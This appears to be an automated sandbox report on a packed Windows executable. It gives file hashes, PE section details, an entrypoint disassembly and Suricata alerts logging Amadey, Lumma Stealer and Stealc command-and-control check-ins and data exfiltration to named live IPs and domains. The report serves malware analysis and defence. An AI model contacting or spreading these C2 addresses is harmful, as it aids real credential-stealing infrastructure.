Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.638279327231539
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'301'888 bytes
MD5:	1f851e1840e1a5a45d8c21630061cfc7
SHA1:	ea05edf1430b5cfb312f07ce13314ac4d7f61bf8
SHA256:	259b76b23a393bbe38478a12f7df76eb71b676a0a0b6c1bb8f3085c5f4e6b461
SHA512:	79a4007940e0b18817993f92e5a3c9de360aec6ff0efb66280b2a9b54a54ade74f655f3b93a5f933cd9e8dc7371757f4927201982fc6ad1c3edc7d51a23b1b11
SSDEEP:	49152:zwuqnxzJGz0FiD0A4GyNe/98+njyKN1YrXbPU:enx1Gz0FiD0A4Re/2+njrErr
TLSH:	C3E55B627508B5CFD48E57B89197CC82594F82FD17280893A81EBD7EBE73CC512B6C26
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x727000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7C24D8EB3Ah
cmovo esi, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+00000080h], dh
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ds
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3253fc	0x10	lfjbhkvb
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3253ac	0x18	lfjbhkvb
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x68000	89862f7c3d66f4aa6f0ab5f08d4a1809	False	0.5578049879807693	data	7.088281231299538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	b7d16686b376821266a9345c26b7e6d6	False	0.53125	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lfjbhkvb	0x6b000	0x2bb000	0x2ba600	8a9d4a1c2e55b16a9772f13a7fc5a0af	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xakcdfow	0x326000	0x1000	0x600	a9a2bf5fb0abe91abfb5bf876416c526	False	0.5755208333333334	data	5.03595098288886	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x327000	0x3000	0x2200	65bdf9359fa19de9983b2fd8140f7f4a	False	0.08122702205882353	DOS executable (COM)	0.9149190795111122	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-05T20:51:15.812639+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.6	49766	TCP
2024-11-05T20:51:53.700843+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.6	49982	TCP
2024-11-05T20:52:05.028974+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50009	185.215.113.43	80	TCP
2024-11-05T20:52:08.385850+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50011	185.215.113.16	80	TCP
2024-11-05T20:52:12.492136+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	57613	1.1.1.1	53	UDP
2024-11-05T20:52:12.521256+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	56865	1.1.1.1	53	UDP
2024-11-05T20:52:12.551356+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	53952	1.1.1.1	53	UDP
2024-11-05T20:52:12.575900+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	62415	1.1.1.1	53	UDP
2024-11-05T20:52:12.614222+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.6	56298	1.1.1.1	53	UDP
2024-11-05T20:52:12.639895+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.6	59878	1.1.1.1	53	UDP
2024-11-05T20:52:12.990718+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50010	TCP
2024-11-05T20:52:13.347954+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50012	104.21.5.155	443	TCP
2024-11-05T20:52:13.347954+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50012	104.21.5.155	443	TCP
2024-11-05T20:52:13.558413+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50012	104.21.5.155	443	TCP
2024-11-05T20:52:13.558413+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50012	104.21.5.155	443	TCP
2024-11-05T20:52:13.909541+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50013	185.215.113.43	80	TCP
2024-11-05T20:52:14.301649+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50014	104.21.5.155	443	TCP
2024-11-05T20:52:14.301649+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50014	104.21.5.155	443	TCP
2024-11-05T20:52:14.829512+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50015	185.215.113.16	80	TCP
2024-11-05T20:52:15.035710+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50014	104.21.5.155	443	TCP
2024-11-05T20:52:15.035710+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50014	104.21.5.155	443	TCP
2024-11-05T20:52:16.047422+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50016	104.21.5.155	443	TCP
2024-11-05T20:52:16.047422+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50016	104.21.5.155	443	TCP
2024-11-05T20:52:17.420287+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50017	104.21.5.155	443	TCP
2024-11-05T20:52:17.420287+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50017	104.21.5.155	443	TCP
2024-11-05T20:52:19.223535+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50018	104.21.5.155	443	TCP
2024-11-05T20:52:19.223535+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50018	104.21.5.155	443	TCP
2024-11-05T20:52:19.836882+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50019	185.215.113.43	80	TCP
2024-11-05T20:52:20.955976+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50022	104.21.5.155	443	TCP
2024-11-05T20:52:20.955976+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50022	104.21.5.155	443	TCP
2024-11-05T20:52:21.039960+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50020	185.215.113.206	80	TCP
2024-11-05T20:52:21.325921+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	50020	185.215.113.206	80	TCP
2024-11-05T20:52:21.332538+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	50020	TCP
2024-11-05T20:52:21.368124+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50022	104.21.5.155	443	TCP
2024-11-05T20:52:21.615769+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	50020	185.215.113.206	80	TCP
2024-11-05T20:52:21.623391+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	50020	TCP
2024-11-05T20:52:22.728515+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	50020	185.215.113.206	80	TCP
2024-11-05T20:52:22.991451+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50023	104.21.5.155	443	TCP
2024-11-05T20:52:22.991451+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50023	104.21.5.155	443	TCP
2024-11-05T20:52:23.011241+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50020	185.215.113.206	80	TCP
2024-11-05T20:52:23.729057+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50024	185.215.113.43	80	TCP
2024-11-05T20:52:24.816230+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50025	185.215.113.16	80	TCP
2024-11-05T20:52:26.340300+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50033	104.21.5.155	443	TCP
2024-11-05T20:52:26.340300+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50033	104.21.5.155	443	TCP
2024-11-05T20:52:27.220653+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50033	104.21.5.155	443	TCP
2024-11-05T20:52:28.101533+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	50056	1.1.1.1	53	UDP
2024-11-05T20:52:28.129530+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	55643	1.1.1.1	53	UDP
2024-11-05T20:52:28.157648+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	55388	1.1.1.1	53	UDP
2024-11-05T20:52:28.182443+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	49199	1.1.1.1	53	UDP
2024-11-05T20:52:28.210533+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.6	52508	1.1.1.1	53	UDP
2024-11-05T20:52:28.901165+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50038	104.21.5.155	443	TCP
2024-11-05T20:52:28.901165+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50038	104.21.5.155	443	TCP
2024-11-05T20:52:29.247531+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50038	104.21.5.155	443	TCP
2024-11-05T20:52:29.247531+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50038	104.21.5.155	443	TCP
2024-11-05T20:52:29.995330+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50041	185.215.113.43	80	TCP
2024-11-05T20:52:30.334218+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50044	104.21.5.155	443	TCP
2024-11-05T20:52:30.334218+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50044	104.21.5.155	443	TCP
2024-11-05T20:52:31.049251+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50044	104.21.5.155	443	TCP
2024-11-05T20:52:31.049251+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50044	104.21.5.155	443	TCP
2024-11-05T20:52:32.450533+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50053	104.21.5.155	443	TCP
2024-11-05T20:52:32.450533+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50053	104.21.5.155	443	TCP
2024-11-05T20:52:34.228250+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50055	104.21.5.155	443	TCP
2024-11-05T20:52:34.228250+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50055	104.21.5.155	443	TCP
2024-11-05T20:52:36.025188+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50059	104.21.5.155	443	TCP
2024-11-05T20:52:36.025188+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50059	104.21.5.155	443	TCP
2024-11-05T20:52:41.988169+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.6	53699	1.1.1.1	53	UDP
2024-11-05T20:52:42.574338+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50078	104.21.5.155	443	TCP
2024-11-05T20:52:42.574338+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50078	104.21.5.155	443	TCP
2024-11-05T20:52:45.010412+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50108	104.21.5.155	443	TCP
2024-11-05T20:52:45.010412+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50108	104.21.5.155	443	TCP
2024-11-05T20:52:45.028470+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50108	104.21.5.155	443	TCP
2024-11-05T20:52:48.834842+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50104	185.215.113.206	80	TCP
2024-11-05T20:52:49.324759+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50145	104.21.5.155	443	TCP
2024-11-05T20:52:49.324759+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50145	104.21.5.155	443	TCP
2024-11-05T20:52:49.794975+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50145	104.21.5.155	443	TCP
2024-11-05T20:52:51.740324+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50104	185.215.113.206	80	TCP
2024-11-05T20:52:52.577208+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50104	185.215.113.206	80	TCP
2024-11-05T20:52:53.664666+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50104	185.215.113.206	80	TCP
2024-11-05T20:52:55.200460+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	53441	1.1.1.1	53	UDP
2024-11-05T20:52:55.210234+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50104	185.215.113.206	80	TCP
2024-11-05T20:52:55.229468+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	60389	1.1.1.1	53	UDP
2024-11-05T20:52:55.266049+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	51205	1.1.1.1	53	UDP
2024-11-05T20:52:55.302831+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	58219	1.1.1.1	53	UDP
2024-11-05T20:52:55.372195+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.6	61159	1.1.1.1	53	UDP
2024-11-05T20:52:55.827598+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50104	185.215.113.206	80	TCP
2024-11-05T20:52:56.094565+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50171	104.21.5.155	443	TCP
2024-11-05T20:52:56.094565+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50171	104.21.5.155	443	TCP
2024-11-05T20:52:56.289358+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50171	104.21.5.155	443	TCP
2024-11-05T20:52:56.289358+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50171	104.21.5.155	443	TCP
2024-11-05T20:52:57.464330+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50174	104.21.5.155	443	TCP
2024-11-05T20:52:57.464330+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50174	104.21.5.155	443	TCP
2024-11-05T20:52:57.817358+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50174	104.21.5.155	443	TCP
2024-11-05T20:52:57.817358+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50174	104.21.5.155	443	TCP
2024-11-05T20:52:59.336404+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50178	104.21.5.155	443	TCP
2024-11-05T20:52:59.336404+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50178	104.21.5.155	443	TCP
2024-11-05T20:53:00.404647+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50179	185.215.113.16	80	TCP
